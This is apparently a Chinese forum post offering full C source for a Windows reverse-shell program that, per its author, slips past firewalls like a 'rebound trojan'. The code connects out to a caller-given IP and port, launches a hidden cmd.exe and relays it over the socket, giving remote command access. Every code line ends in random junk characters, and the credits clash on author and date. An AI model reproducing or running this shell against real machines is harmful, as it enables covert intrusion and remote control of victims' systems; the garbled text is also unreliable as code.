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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l^"gpO${K  
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/* ============================== z2nDD6N  
Rebound port in Windows NT |@V<}2zCZ  
By wind,2006/7 >Q"eaJxE!l  
===============================*/ kk^KaD4dA  
#include sA}=o.\j:  
#include MIi:\m5  
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#pragma comment(lib,"wsock32.lib") OP``g/x)  
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void OutputShell(); ]sbu9O ^"f  
SOCKET sClient; #[Ns\%Ri0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZTHr jW1  
?4gYUEM#  
void main(int argc,char **argv) ~~wz05oRG  
{ Z(.p=Wg  
WSADATA stWsaData; mxDy!:@=  
int nRet; INcJXlv  
SOCKADDR_IN stSaiClient,stSaiServer; U_oMR$/Z  
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if(argc != 3) |bB..b  
{ 9> [ $;>  
printf("Useage:\n\rRebound DestIP DestPort\n"); #J1a `}x  
return; s}/YcUK  
} OG}0{?  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >/evL /  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wK|&[m s  
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stSaiClient.sin_family = AF_INET; P+oCcYp  
stSaiClient.sin_port = htons(0); ]Nsb V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s)&"g a  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ioh_5 5e  
{ 0'aZ*ozk  
printf("Bind Socket Failed!\n"); uXtfP?3Vy  
return; =C5 [75z#+  
} h:j-Xd$H+  
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stSaiServer.sin_family = AF_INET; H^'EY:|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .>h|e_E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^VoQGP/cl  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BKVvu}V(o  
{ wk)gxn1A,  
printf("Connect Error!"); @Q TG  
return; Z#^2F8,]  
} &W|'rA'r  
OutputShell(); S@Jl_`<  
} 85Ms*[g  
Y@;bA=Du}  
void OutputShell() /kNr5s  
{ vC+mC4~/(  
char szBuff[1024]; Q7`zrCh  
SECURITY_ATTRIBUTES stSecurityAttributes; .8fOc.h8h  
OSVERSIONINFO stOsversionInfo; W 6~<7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ou96 P<B  
STARTUPINFO stStartupInfo; Gz ^g!N[  
char *szShell; 24|:VxO  
PROCESS_INFORMATION stProcessInformation; kD"dZQx  
unsigned long lBytesRead; wBCnP  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sHh2>f@x$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q;Qpd]H  
stSecurityAttributes.lpSecurityDescriptor = 0; ]Jv Z:'g}  
stSecurityAttributes.bInheritHandle = TRUE; .L6t3/^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b]CJf8'u  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M`iJ6L  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vWzNsWPK"{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PMkwY {.u  
stStartupInfo.wShowWindow = SW_HIDE; zgVplp  
stStartupInfo.hStdInput = hReadPipe; Og-M nx3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uodO^5"-  
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GetVersionEx(&stOsversionInfo); [NaU\;w\  
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switch(stOsversionInfo.dwPlatformId) <1_?.gSi  
{ Fv e,&~  
case 1: QDxLy aL  
szShell = "command.com"; dv@6wp:  
break; !YAkHrF`[0  
default: u%v^(9z  
szShell = "cmd.exe"; s7df<dBC  
break; h'T\gF E%  
} EL~s90C  
; Sh|6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2ZLK`^S  
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send(sClient,szMsg,77,0); QR79^A@5  
while(1) $+*ZsIo   
{ $#"}g#u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zz02F+H$Y  
if(lBytesRead) z36nyo  
{ F-_RL-hbN%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rp.@  
send(sClient,szBuff,lBytesRead,0); \^':(Gu4o  
} 7+=j]+O  
else MS,H12h  
{ C8NbxP  
lBytesRead=recv(sClient,szBuff,1024,0); yHT}rRS8  
if(lBytesRead<=0) break; c WK@O>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \U~ggg0h  
} VO++(G)  
} zA-?x1th&  
t"RgEH@  
return; X2sK<Qluql  
}
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